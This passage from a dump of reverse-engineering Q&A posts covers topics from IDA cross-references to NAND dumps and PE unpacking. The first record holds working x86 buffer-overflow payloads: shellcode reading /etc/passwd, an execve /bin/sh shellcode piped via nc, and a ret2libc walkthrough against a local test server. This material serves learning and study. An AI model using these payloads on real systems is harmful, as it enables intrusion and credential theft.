0x895350e3\n0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141\n0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001\n0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4\n0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000\n0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000\n0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000\n0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000\n</code></pre>\n\n<p>Edit: So i managed to successfully print all of the etc/passwd, but not sure why the /bin/sh shellcode doesnt work</p>\n\n<p><strong>Works: /etc/passwd</strong></p>\n\n<pre><code>echo \"`python -c 'print \"\\x90\"*65478+\"\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\"  +\"AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf\" + \"\\n\"'`\" | nc 127.0.0.1 2010\n</code></pre>\n\n<p><strong>Doesnt't work: /bin/sh</strong></p>\n\n<pre><code>echo \"`python -c 'print \"\\x90\"*65513 + \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\" + \"AAAA\\x9c\\xf3\\xfe\\xbf\\x9c\\xf3\\xfe\\xbf\\x9c\" + \"\\n\"'`\" | nc 127.0.0.1 3003\n</code></pre>\n",
        "Title": "Buffer overflow on server",
        "Tags": "|gdb|exploit|buffer-overflow|shellcode|",
        "Answer": "<p>We have two major stack protection for buffer overflows:</p>\n<ul>\n<li>Stack canaries</li>\n<li>Non-executable stack</li>\n</ul>\n<p>You land on nopsled but, you get segmentation fault. Because your operating system marked program stack as non-executable and processor raises the exception when program counter addresses that segment. But, even we have an executable stack (for GCC use <em>-z execstack</em>) your program crashes:</p>\n<p><a href=\"https://i.stack.imgur.com/WswOt.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WswOt.jpg\" alt=\"Arithmetic exception\" /></a></p>\n<p>I changed shellcode to read /etc/passwd, it works until another SIGSEGV. It is not relevant why your previous shellcode doesn't work, it is a practical problem.</p>\n<p><a href=\"https://i.stack.imgur.com/L2D4a.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L2D4a.jpg\" alt=\"/etc/passwd shellcode works\" /></a></p>\n<p>For another scenario:</p>\n<p>How can we get around non-executable stack? The most common way is a method called <strong>ret2libc</strong> (return to libc) using system(const char *). But, we will use _exit(int) for simplicity. For our new attack, I compiled it with non-executable stack option and send the same stream.</p>\n<pre><code>$ nc localhost 1337 &lt; exp.loit\n</code></pre>\n<p>Let's look our stack:</p>\n<p><a href=\"https://i.stack.imgur.com/pe21L.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pe21L.jpg\" alt=\"Stack\" /></a></p>\n<p>We can't understand which part of your input overflows where and we need that to pass the argument(s). I tried a different payload to find what goes where:</p>\n<pre><code>python -c 'print &quot;\\x90&quot;*65482 + &quot;\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80&quot;  + &quot;\\x90&quot;*12 + &quot;\\xac\\xf3\\xfe\\xbf&quot; +&quot;\\x00\\x11\\x22\\x33&quot;*2 + &quot;\\n&quot;' &gt; exp.loit\n</code></pre>\n<p>We get:</p>\n<p><a href=\"https://i.stack.imgur.com/Eb9cw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Eb9cw.jpg\" alt=\"Stack for new input\" /></a></p>\n<p>We just need _exit address</p>\n<pre><code>gdb-peda$ p &amp;_exit\n$1 = (&lt;text variable, no debug info&gt; *) 0xb7ec6f24 &lt;_exit&gt;\n</code></pre>\n<p>Now we are ready to execute our exploit:</p>\n<pre><code>python -c 'print &quot;\\x90&quot;*65482 + &quot;\\x31\\xc9\\x31\\xc0\\x31\\xd2\\x51\\xb0\\x05\\x68\\x73\\x73\\x77\\x64\\x68\\x63\\x2f\\x70\\x61\\x68\\x2f\\x2f\\x65\\x74\\x89\\xe3\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x03\\x66\\xba\\xff\\x0f\\x66\\x42\\xcd\\x80\\x31\\xc0\\x31\\xdb\\xb3\\x01\\xb0\\x04\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80&quot;  + &quot;\\x90&quot;*12 + &quot;\\x24\\x6f\\xec\\xb7&quot; +&quot;\\x01\\x00\\x00\\x00&quot;*2 + &quot;\\n&quot;' &gt; exp.loit\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/5rlnd.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5rlnd.jpg\" alt=\"Final exploit\" /></a></p>\n<p>Basically ret2libc is that.</p>\n"
    },
    {
        "Id": "14958",
        "CreationDate": "2017-03-20T16:30:24.757",
        "Body": "<p>So I have been exploring reverse engineering for the past few months and currently I am reversing a dumped executable which seems to be fully intact</p>\n\n<p>I have stumbled upon something I can't seem to grasp/understand. When I reverse upwards to find out where some variable in a function originated from, I most of them time end up at <code>RUNTIME_FUNCTION</code> xrefs. I get stuck here since I can't go up any further.</p>\n\n<p>My end goal is to find out the whole pointer chain from a static address to the target variable used in some function. I start searching upwards from a certain instruction and follow a certain variable, but unfortunately I get to the <code>RUNTIME_FUNCTION</code> references when I am about 3 levels deep.</p>\n\n<p>I've read that runtime functions have something to do with SEH. But I couldn't find any constructed information about this RUNTIME_FUNCTION in IDA. Shouldn't some variable always lead to some static address inside the .data section? Does someone know what is happening here?</p>\n\n<p>In this image you can see that when I want to figure out what references/uses this function I only get those RUNTIME_FUNCTION's:\n<a href=\"https://i.stack.imgur.com/QSKQ6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QSKQ6.png\" alt=\"enter image description here\"></a></p>\n\n<p>How would you normally go around this issue to get back on track and reverse further/beyond the RUNTIME_FUNCTION?</p>\n\n<p>Executable segments:\n<a href=\"https://i.stack.imgur.com/MZcEa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MZcEa.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any help is appreciated, thanks!</p>\n",
        "Title": "Reversing variable origin (pointer chain) in IDA. Stuck on RUNTIME_FUNCTION XREF",
        "Tags": "|ida|windows|",
        "Answer": "<p><a href=\"http://www.osronline.com/article.cfm?article=469\" rel=\"nofollow noreferrer\"><code>RUNTIME_FUNCTION</code> is a system structure</a> added by the compiler for all functions in a  proper win64 executable. It is only used by the OS when processing exceptions, so it has no relation to your game's variables. You should ignore those xrefs and look elsewhere.</p>\n"
    },
    {
        "Id": "14963",
        "CreationDate": "2017-03-21T02:46:15.157",
        "Body": "<p>I have a small exe program that runs in a system32/cmd window, and when it is finished  running its small script it prompts the user to press enter to close.\n I want to simply have the application close once the process is finished wihtout having to enter a keystroke.  How can I edit .exe file to do this?</p>\n\n<p>Is there some line in HEX i can edit? What am I looking for?</p>\n",
        "Title": "edit CMD exe to not wait for confimation",
        "Tags": "|binary-editing|",
        "Answer": "<ol>\n<li>Get a decent Disassembler running (radare, IDA Pr0, BinaryNinja, x64dbg..)</li>\n<li>Find the string you are looking for in memory e.g. 'press enter ...'</li>\n<li>Look up the cross references to find the place in memory it's used for an API call</li>\n<li>Skip that part (look at later or earlier branches to patch, or just patch the bytes to jmp to the end / maybe a return will do the trick)</li>\n</ol>\n\n<p><strong>edit</strong></p>\n\n<p>The memory location you are looking for will do something like print the string utilizing printf and then wait for user input. In the end, it will return.</p>\n\n<p>Basically you can try to alter branch conditions through binary patching or you could try to do a hard binary patch. In the later case, you can just try to patch a return-statement instead of the input-waiting-function or insert a jump.</p>\n\n<p><a href=\"https://i.stack.imgur.com/U9Cgr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/U9Cgr.png\" alt=\"enter image description here\"></a></p>\n\n<p>NOP-ing out the highlighted call did the trick.</p>\n\n<p><strong>edit</strong></p>\n\n<p>Special regards to w s for in-chat guidance!</p>\n"
    },
    {
        "Id": "14967",
        "CreationDate": "2017-03-21T08:43:04.723",
        "Body": "<p>I wanted to know which permissions each section of the following PE Sections have (windows):</p>\n\n<pre><code>.idata\n.rsrc\n.data\n.text\n.bss\n.rdata\n.edata\n</code></pre>\n\n<p>Thanks in advance, I couldn't  found an answer using google. :)</p>\n",
        "Title": "PE Sections Permissions",
        "Tags": "|windows|pe|",
        "Answer": "<pre><code>C:\\Program Files\\Microsoft Visual Studio 14.0&gt;dumpbin c:\\Windows\\System32\\calc.e\nxe /headers | grep SECTION -A 14 |  grep -A 3 flags\n60000020 flags\n         Code\n         Execute Read\n\n--\nC0000040 flags\n         Initialized Data\n         Read Write\n\n--\n40000040 flags\n         Initialized Data\n         Read Only\n\n--\n42000040 flags\n         Initialized Data\n         Discardable\n         Read Only\n\nC:\\Program Files\\Microsoft Visual Studio 14.0&gt;\n</code></pre>\n"
    },
    {
        "Id": "14973",
        "CreationDate": "2017-03-21T11:45:51.113",
        "Body": "<p>I have some questions about some hopper disassembler features.</p>\n\n<ul>\n<li>Is there a way to add a structure definition to the database ? How ?</li>\n<li>Is there a way to assign a type (especially structure or structure pointer) to a local variable ? How exactly ?</li>\n<li>Is there a way to assign a synonym for register and see this synonym in decompilation view ?</li>\n</ul>\n\n<p>Used version of the Hopper is 4.0.35.\nThank you in advance.</p>\n",
        "Title": "Basic actions in hopper disassembler",
        "Tags": "|hopper|",
        "Answer": "<p>Recent versions of Hopper do let you define the types for local variables.</p>\n\n<p>With the focus on a procedure open the inspector and navigate down to the \"Local Variables\" section. Double click on the variable you want to change and a dialog will appear where you can change the name /and/ set the type for that variable.</p>\n"
    },
    {
        "Id": "14974",
        "CreationDate": "2017-03-21T15:14:15.753",
        "Body": "<p>Is it possible to assemble back the ChunkSpy's dissembled LUA files? Here's an example:</p>\n\n<pre><code>0B50  05000000           [001] getglobal  0   0        ; script\n0B54  C63E0000           [002] gettable   0   0   251  ; \"reload\"\n0B58  81000001           [003] loadk      1   2        ; \"player/common.lua\"\n0B5C  59000100           [004] call       0   2   1  \n</code></pre>\n\n<p>(And this is how it's actually supposed to look like.)</p>\n\n<pre><code>script.reload(\"player/common.lua\")\n</code></pre>\n\n<p>I tried to use Unluac and Luadec for files I want to decompile, but ChunkSpy is the only program that manages to open them. And these 3 tools are the ones I can use eventually, since all other tools were designed to work with LUB versions 5.1, 5.2 or 5.3. But, the version of my files is 5.0.2. I've searched everywhere for any suggestions about my problem, but I couldn't find anything. </p>\n\n<p>Despite the fact that the needed program may not even exist, and absolutely nothing can't be done with these LUB files, I still would like to know, why Unluac and Luadec fail at decompiling <a href=\"http://www.mediafire.com/file/wxl8pj95dkyhxgc/stackoverflow_lub.zip\" rel=\"nofollow noreferrer\">those files</a>, while ChunkSpy doesn't have any problems with them?</p>\n",
        "Title": "How to assemble back a disassembled ChunkSpy LUA?",
        "Tags": "|assembly|decompile|byte-code|",
        "Answer": "<blockquote>\n  <p>How to assemble back a disassembled ChunkSpy LUA?</p>\n</blockquote>\n\n<p>You don't. From the <a href=\"http://chunkspy.luaforge.net/\" rel=\"nofollow noreferrer\">ChunckSpy</a> website:</p>\n\n<blockquote>\n  <p>ChunkSpy is a tool to disassemble a Lua 5 binary chunk into a verbose listing that can then be studied. Its output bears a resemblance to the output listing of assemblers. ... If you want to disassemble to source code, try LuaDec by Hisham Muhammad.</p>\n</blockquote>\n\n<p>As for your other question</p>\n\n<blockquote>\n  <p>I still would like to know, why Unluac and Luadec fail at decompiling those files, while ChunkSpy doesn't have any problems with them?</p>\n</blockquote>\n\n<p>Please note that this is hardly an reverse engineering question and very specific to the internal structure of the mentioned projects. You may be better off posting to the project maintainers themselves.</p>\n\n<p>From the <a href=\"https://sourceforge.net/projects/unluac/\" rel=\"nofollow noreferrer\">Unluac</a> site:</p>\n\n<blockquote>\n  <p>It requires that debugging information has not been stripped from the chunk.</p>\n</blockquote>\n\n<p>From the <a href=\"http://luadec.luaforge.net/\" rel=\"nofollow noreferrer\">LuaDec</a> site:</p>\n\n<blockquote>\n  <p>LuaDec, in its current form, is not a complete decompiler. It does succeed in decompiling most of the Lua constructs</p>\n</blockquote>\n"
    },
    {
        "Id": "14979",
        "CreationDate": "2017-03-22T00:39:21.167",
        "Body": "<p>I just finished up with cracking this crackme I found off the net and it's cracked and everything,but the problem is that in ollydebug I don't happen to see a option to copy the modified code and save it as a executable. I tried googling this up but no answers were in the slightest bit useful. I right clicked the CPU window and hovered over edit but it wasn't there. However when it did show up it was under the module ntdll instead of the actual exe. To be specific I'm simply trying to copy my modified code to a executable that's already cracked but the option to perform such a action isn't there it only pops up when I'm under ntdll but not the exe. Many thanks to whoever can solve this problem</p>\n",
        "Title": "I'm unable to copy to executable (ollydebug)",
        "Tags": "|ollydbg|debugging|debuggers|compilers|",
        "Answer": "<p>f your code pops up in ntdll you have added your code in ntdll do not do that dont modify system dlls you may destabilze your os add code only to your executable and use copy to executable</p>\n\n<p>Dbg break is the first break for any process called system breakpoint andcit is ntdll step or run to your executable code viz address of entry point or start or main </p>\n\n<p>see snap shot </p>\n\n<p><a href=\"https://i.stack.imgur.com/Uj9pd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Uj9pd.png\" alt=\"enter image description here\"></a></p>\n\n<p>copy to executable if you have modification in the executable will be available here<br>\n(if you do not have any modifications in the executable address space this wont appear<br>\nthe modification that you have in ntdll wont appear here<br>\nyou need to modify / add / delete / nop / do whatever in exes physicallly available space<br>\nyou cant save to exe if you have code in page alignment / section alignment padding space </p>\n\n<p><a href=\"https://i.stack.imgur.com/PoLwB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PoLwB.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "14982",
        "CreationDate": "2017-03-22T16:22:14.680",
        "Body": "<p>I'm trying to extract a NAND flash dump of an old Walkman player. The dump was done by a friend and unfortunately cannot be redone because the chip was destroyed.\nThe dump was supposed to be just user data without OOB but it seems something went wrong and OOB is still there. \nI tried various ways of removing OOB and I can get some reasonably-looking data but many things are still off and I can't extract proper files.</p>\n\n<p>Here's what I tried.</p>\n\n<p>Just by looking visually into hex dump, there are a 16-byte lines beginning with \"01 00 00 00\" \nevery 0x200 bytes which look out of place. \n<a href=\"https://i.stack.imgur.com/u4YMX.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/u4YMX.png\" alt=\"hex dump\"></a>\nI made a short script to remove 16 bytes after every 0x200:</p>\n\n<pre><code>import sys\ninf = open(sys.argv[1] ,\"rb\")\nof = open(sys.argv[2],\"wb\")\nclen = 0x200\nc = inf.read(clen)\noff = 0\nwhile c:\n  off = inf.tell()\n  oob = inf.read(0x10)\n  if oob[:4]!=\"\\x01\\x00\\x00\\x00\":\n   print \" bad OOB at %08X?\" % off, oob.encode('hex')\n   break\n  of.write(c)\n  if (off&amp;0x1000) ==0:\n   print \"%08X\" % off\n  c = inf.read(clen)\n\n\ninf.close()\nof.close()\nprint \"done.\"\n</code></pre>\n\n<p>The added sanity check triggers pretty quickly:</p>\n\n<pre><code>00000200\n00000410\n00000620\n00000830\n00000A40\n00000C50\n00000E60\n bad OOB at 00001070? 042080e4fbffffea10009fe530ff2fe1\ndone.\n</code></pre>\n\n<p>And indeed, the next line starting with 01 00 00 00 is at 1240, not 1070. I tried to account for it and restart, but \nI ran into similar issues later. So I wonder if I'm missing something. \nThe full file is 4GB which is a bit heavy so here are few cut out chunks:</p>\n\n<ol>\n<li>beginning of the dump (initial bootloader?). <a href=\"http://filebin.ca/3GSGqkvCosrS/chunk0.bin\" rel=\"noreferrer\">offset 0</a></li>\n<li>start of U-boot bootloader. <a href=\"http://filebin.ca/3GSHLyfp2t46/chunk_104000.bin\" rel=\"noreferrer\">offset 0x104000</a></li>\n<li>start of the kernel image.<a href=\"http://filebin.ca/3GSI6oIkNWUl/chunk_186000.bin\" rel=\"noreferrer\">offset 0x186000</a></li>\n</ol>\n\n<p>if you'd like to see the whole dump I've shared a link in <a href=\"http://chat.stackexchange.com/transcript/message/36175953#36175953\">our chat</a>.</p>\n\n<p>Hardware details:\nDevice is Sony Walkman NWZ-A829. \nThe flash chip is most likely TH58NVG6D1DTG20. \nThe CPU is a NEC MP201 (ARMv5le).</p>\n\n<p>GPL sources (U-Boot/Linux kernel) are available here: <a href=\"http://oss.sony.net/Products/Linux/Audio/NWZ-S715.html\" rel=\"noreferrer\">http://oss.sony.net/Products/Linux/Audio/NWZ-S715.html</a></p>\n\n<p>The final goal is to figure out the firmware update encryption and produce custom firmware for the device.</p>\n",
        "Title": "Extracting a NAND flash dump with OOB data",
        "Tags": "|binary-analysis|firmware|arm|flash|dump|",
        "Answer": "<p>Just a fast answer as future tip for NAND issues.</p>\n\n<p>When make reading of NAND flashes (doesn't care if bga, tsop..), not all programmers make clear dump, normally it includes dummy blocks as you mentioned OOB data.</p>\n\n<p>As NAND dumps should be multiple of 8, like 64, 128, 256MB...if the file you dump is larger than typical size, e.g. 132MB, then is mandatory to analyze the binary for remove dummy chunks and find out the pattern, then you could start playing with the binary.</p>\n"
    },
    {
        "Id": "14990",
        "CreationDate": "2017-03-23T10:58:39.813",
        "Body": "<p>I am newcomer to this field.\nI would like to understand how these things work and what these file contain (and if I'm on the right path).</p>\n\n<p>To explain my doubts, I will use the .hex file posted in a similar question: <a href=\"https://reverseengineering.stackexchange.com/questions/11650/how-can-i-decompile-an-arm-coretex-m0-hex-file-to-c\"> How can I decompile an ARM Coretex M0 .hex file to C++?</a></p>\n\n<p>Link to .hex file: <a href=\"http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex\" rel=\"nofollow noreferrer\"><a href=\"http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex\" rel=\"nofollow noreferrer\">http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex</a></a></p>\n\n<p>The .hex file contains the instructions that will be executed by the microcontroller, and the format used is <a href=\"http://www.keil.com/support/docs/1584/\" rel=\"nofollow noreferrer\"><a href=\"http://www.keil.com/support/docs/1584/\" rel=\"nofollow noreferrer\">http://www.keil.com/support/docs/1584/</a></a>, am I right?</p>\n\n<p>Now I've tried to extract some information from this file (just for learning):\nI've converted the .hex file into .bin file with hex2bin (as suggested in the first answer), \nthen I've run the command \"strings file.bin\", and I've found some readable strings. </p>\n\n<p>What does this mean? Why can I read only some strings and not all the data?\nExactly what happen when I convert .hex file to .bin file?\nIs there a way to extract the code in which these strings are used?</p>\n\n<p>Maybe these questions are too silly, \nbut I hope that someone could explain what these files are, and what they represent. \nAny good resource will be appreciated. Thanks in advance.</p>\n",
        "Title": "Basic clarifications about .hex and .bin file",
        "Tags": "|disassembly|firmware|arm|hex|binary|",
        "Answer": "<blockquote>\n  <p>The .hex file contains the instructions that will be executed by the\n  microcroller, and the format used is\n  <a href=\"http://www.keil.com/support/docs/1584/\" rel=\"nofollow noreferrer\">http://www.keil.com/support/docs/1584/</a> , am I right?</p>\n</blockquote>\n\n<p>You're right about the format. The .hex file basically encodes binary data which contains instruction in assembly language, but also data.</p>\n\n<blockquote>\n  <p>What does it mean? Why can I read only some strings and not all the\n  data?</p>\n</blockquote>\n\n<p>It means <code>strings</code> could find some data its deems to be a string. it just searches the binary dump for byte sequences which reassembly ascii codes (with additional heuristics, like minimum length, different string formats, ...)</p>\n\n<blockquote>\n  <p>Exacly what happen when I convert .hex file to .bin file?</p>\n</blockquote>\n\n<p>The file is decoded. its a symmetric encoding scheme as described at the source you privided.</p>\n\n<blockquote>\n  <p>Is there a way to extract the code in which these strings are used?</p>\n</blockquote>\n\n<p>Yes, but you would need to find the code first to make this connection. Good diassemblers like IDA will find cross-references to data fields (like strings).</p>\n\n<p>If you want to see the individual machine instructions, please use a disassembler like radare2, IDA, BinaryNinja, Hopper or something else capable of disassembling ARM.</p>\n"
    },
    {
        "Id": "14992",
        "CreationDate": "2017-03-23T12:47:37.810",
        "Body": "<p>Practically everyone knows what <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms681420(v=vs.85).aspx\" rel=\"noreferrer\">Vectored Exception Handlers</a> are, but I couldn't find a lot of information about the similar \"Vectored Continue Handlers\" and related functions I encountered today, such as <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms679273(v=vs.85).aspx\" rel=\"noreferrer\">AddVectoredContinueHandler</a> and <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680567(v=vs.85).aspx\" rel=\"noreferrer\">RemoveVectoredContinueHandler</a>.</p>\n\n<p>The prototype of <code>AddVectoredContinueHandler</code> is very similar to <code>AddVectoredExceptionHandler</code>'s prototype:</p>\n\n<pre><code>PVOID WINAPI AddVectoredContinueHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n</code></pre>\n\n<p>And to make things more confusing it accepts a <code>PVECTORED_EXCEPTION_HANDLER</code>, just as <code>AddVectoredExceptionHandler</code> does.</p>\n\n<p>What is the purpose of Vectored <strong>Continue</strong> Handlers and how are they used?</p>\n",
        "Title": "What are the Vectored Continue Handlers",
        "Tags": "|windows|exception|",
        "Answer": "<p>Unfortunately MSDN and windows API documentation is really scarce here, and I had difficulties finding anything other than the minimal description in MSDN.</p>\n\n<p>It turns out the Vectored <em>Continue</em> Handlers are maintained in a Linked list very similar to the one used for Vectored <em>Exception</em> Handlers. They are so similar, that the function's prototypes are practically identical.</p>\n\n<p>Take a look at:</p>\n\n<pre><code>PVOID WINAPI AddVectoredExceptionHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n</code></pre>\n\n<p>Compared to:</p>\n\n<pre><code>PVOID WINAPI AddVectoredContinueHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n</code></pre>\n\n<p>Luckily, Vectored <em>Exception</em> Handlers are more commonly used and documented. For example, MSDN has a <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms681420(v=vs.85).aspx\" rel=\"noreferrer\">page</a> about VEHs, containing the following paragraph:</p>\n\n<blockquote>\n  <p>Vectored exception handlers are an extension to structured exception handling. An application can register a function to watch or handle all exceptions for the application. Vectored handlers are not frame-based, therefore, you can add a handler that will be called regardless of where you are in a call frame. Vectored handlers are called in the order that they were added, after the debugger gets a first chance notification, but before the system begins unwinding the stack.</p>\n</blockquote>\n\n<p>The same page has only a laconic reference to the Add and Remove VCH APIs.</p>\n\n<p>After some research and reverse engineering of ntdll, I realized VCHs and VEHs are quite similar in implementation. For example, see how <code>AddVectoredExceptionHandler</code> and <code>AddVectoredContinueHandler</code> are identical except for the <code>VectoredListIndex</code>, specifying they should be added to the second <code>VectorHandlerList</code> in the case of VCH:</p>\n\n<p><a href=\"https://i.stack.imgur.com/NcS2S.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/NcS2S.png\" alt=\"AddVectoredExceptionHandler VS AddVectoredContinueHandler\"></a></p>\n\n<p>Similarly, <code>RemoveVectoredExceptionHandler</code> and <code>RemoveVectoredContinueHandler</code> are identical except for the vectored handlers list index.</p>\n\n<p>Inside <code>RtlpAddVectoredHandler</code>, the <code>VectoredListIndex</code> is used as an index in  <code>_LdrpVectorHandlerList</code>, which is an array of size two of a linked list structure.</p>\n\n<p>In the following picture we can see how <code>VectoredListIndex</code> is multiplied by the size of the list anchor object, and then added to <code>_LdrpVectorHandlerList</code>, which is the base offset of the array.</p>\n\n<p><a href=\"https://i.stack.imgur.com/WukZJ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/WukZJ.png\" alt=\"VectoredListIndex used as an array index\"></a></p>\n\n<p>And now we're getting to the interesting part - where are VEH and VCH different?</p>\n\n<p>If we walk up the cross references to <code>_LdrpVectorHandlerList</code>, we'll notice the two flows leading up to the add/remove functions are practically identical. Aside from those four APIs, we're left with only one other function, called <code>RtlpCallVectoredHandlers</code> which is undocumented.</p>\n\n<p>It's pretty obvious from the name, but <code>RtlpCallVectoredHandlers</code> iterates over the vector (vector is selected according to the index) and calls all Handlers in a sequence. Once a Vectored Handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code> the iteration is interrupted by prematurely returning from <code>RtlpCallVectoredHandlers</code> and execution resumes.</p>\n\n<p>The sole function calling <code>RtlpCallVectoredHandlers</code> is <code>RtlDispatchException</code>, which is the main function dispatching exception handlers.</p>\n\n<p>First, it executes all exception handlers, starting with the first Vectored Exception Handler to the last, and then going through all Structured Exception Handlers unfolding them through the stack. The first exception handler to return <code>EXCEPTION_CONTINUE_EXECUTION</code> (be it of type VEH or SEH) will stop the entire exception handlers execution process.</p>\n\n<p>Like VEHs, when VCHs are called, they are called one by one until one of them returns <code>EXCEPTION_CONTINUE_EXECUTION</code> (just as when VEHs are called), which signals <code>RtlpCallVectoredHandlers</code> to <code>break</code> the Vectored Handlers calling loop. This is interesting because it means installing a Vectored Continue Handler as first lets you hide exceptions from subsequent VCHs.</p>\n\n<p>Vectored Continue Handlers are called under the following circumstances:</p>\n\n<ol>\n<li>If an exception handler (either VEH or SEH) was called and returned <code>EXCEPTION_CONTINUE_EXECUTION</code></li>\n<li>If for some reason SEH validation failed (See SafeSEH and related mechanisms), VCHs will also be called, but the execution will not continue afterwards.\nThis can be seen in the many flows that lead to the second <code>RtlpCallVectoredHandlers</code> call without setting <code>bl</code> to <code>1</code> and leaving it equal to zero before moving it to <code>al</code> and returning <code>false</code>. The calling function, <code>KiUserExceptionDispatcher</code> will then call <code>ZwRaiseException</code> if the value returned by <code>KiUserExceptionDispatcher</code> is <code>false</code>.\n<a href=\"https://i.stack.imgur.com/5Xss7.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/5Xss7.png\" alt=\"enter image description here\"></a></li>\n</ol>\n"
    },
    {
        "Id": "14994",
        "CreationDate": "2017-03-23T13:13:49.663",
        "Body": "<p>What is the exact reason for dumping a process when the Program Counter is at OEP? I haven't found a decent answer.</p>\n\n<p>This <a href=\"https://www.corelan.be/index.php/2011/12/01/roads-iat/\" rel=\"nofollow noreferrer\">Link</a> says: </p>\n\n<blockquote>\n  <p>In order to identify the IAT structure, Import Reconstructor needs to\n  know the OEP of our application (of the unpacked code).</p>\n</blockquote>\n\n<p>This leaves me with the following questions:</p>\n\n<ol>\n<li>But how does knowing OEP relate to IAT?</li>\n<li>When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header and getting address of IT - and then of IAT?</li>\n<li>Why don't we dump application not at OEP but say on <strong>jmp</strong> leading to OEP? Or one-two instructions after OEP?</li>\n</ol>\n",
        "Title": "Why to dump precisely at OEP while manual unpacking?",
        "Tags": "|unpacking|dumping|import-reconstruction|oep|",
        "Answer": "<blockquote>\n  <p>But how does knowing OEP relate to IAT?</p>\n</blockquote>\n\n<p>OEP does not relate to the IAT, but is used by import reconstruction tools to find the location of IAT-like structures created by the packer.</p>\n\n<blockquote>\n  <p>When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header</p>\n</blockquote>\n\n<p>This is exactly why import reconstruction is needed. Because the malware <em>intentionally</em> ruins the IAT in some way or another, only keeping a small set of mandatory functions in it, leaving the work of resolving most of the APIs as part of the unpacking code. Therefore import reconstruction will require we find the IAT by other means (because the PE defined IAT is incomplete/fake).</p>\n\n<blockquote>\n  <p>Why don't we dump application not at OEP but say on jmp leading to OEP? Or one-two instructions after OEP?</p>\n</blockquote>\n\n<p>When dumping, it is import to have executed all code related to descrambling the packed code. Otherwise, OEP might not be valid executable code. Other than that (and import reconstruction related issues) it is perfectly fine to dump and just adjust the PE's Entry Point to the OEP. Most dumping tools will allow that.</p>\n\n<hr>\n\n<p>Aside from answering your specific questions, here are the types of packers with regard to their IAT manipulation and what's needed to get a functional IAT in a dumped PE:</p>\n\n<ol>\n<li><p>When a packer does not change the original import table, import reconstruction is unnecessary. Most PE dumpers will copy the original import table when it's valid or dump it with the PE.</p></li>\n<li><p>Some packers carry another PE that is hidden at first, and only decrypt/descramble it in it's entirety. Those packers will also carry the IAT in-tact and most dumpers will get the IAT automatically. </p></li>\n<li><p>Some packers will create their own alternative IAT and implement their own version of API loading/resolving. For those packers, an import reconstruction utility will need to locate that alternative (or, shall we say real?) IAT and create a new IAT in the reconstructed PE from scratch (based on those APIs actually pointed by the original IAT). Import reconstruction will then find ranges of \"IAT looking\" offsets and make sure they reside in the same location when the PE is loaded. The OEP is therefore scanned for calls that use offset tables that 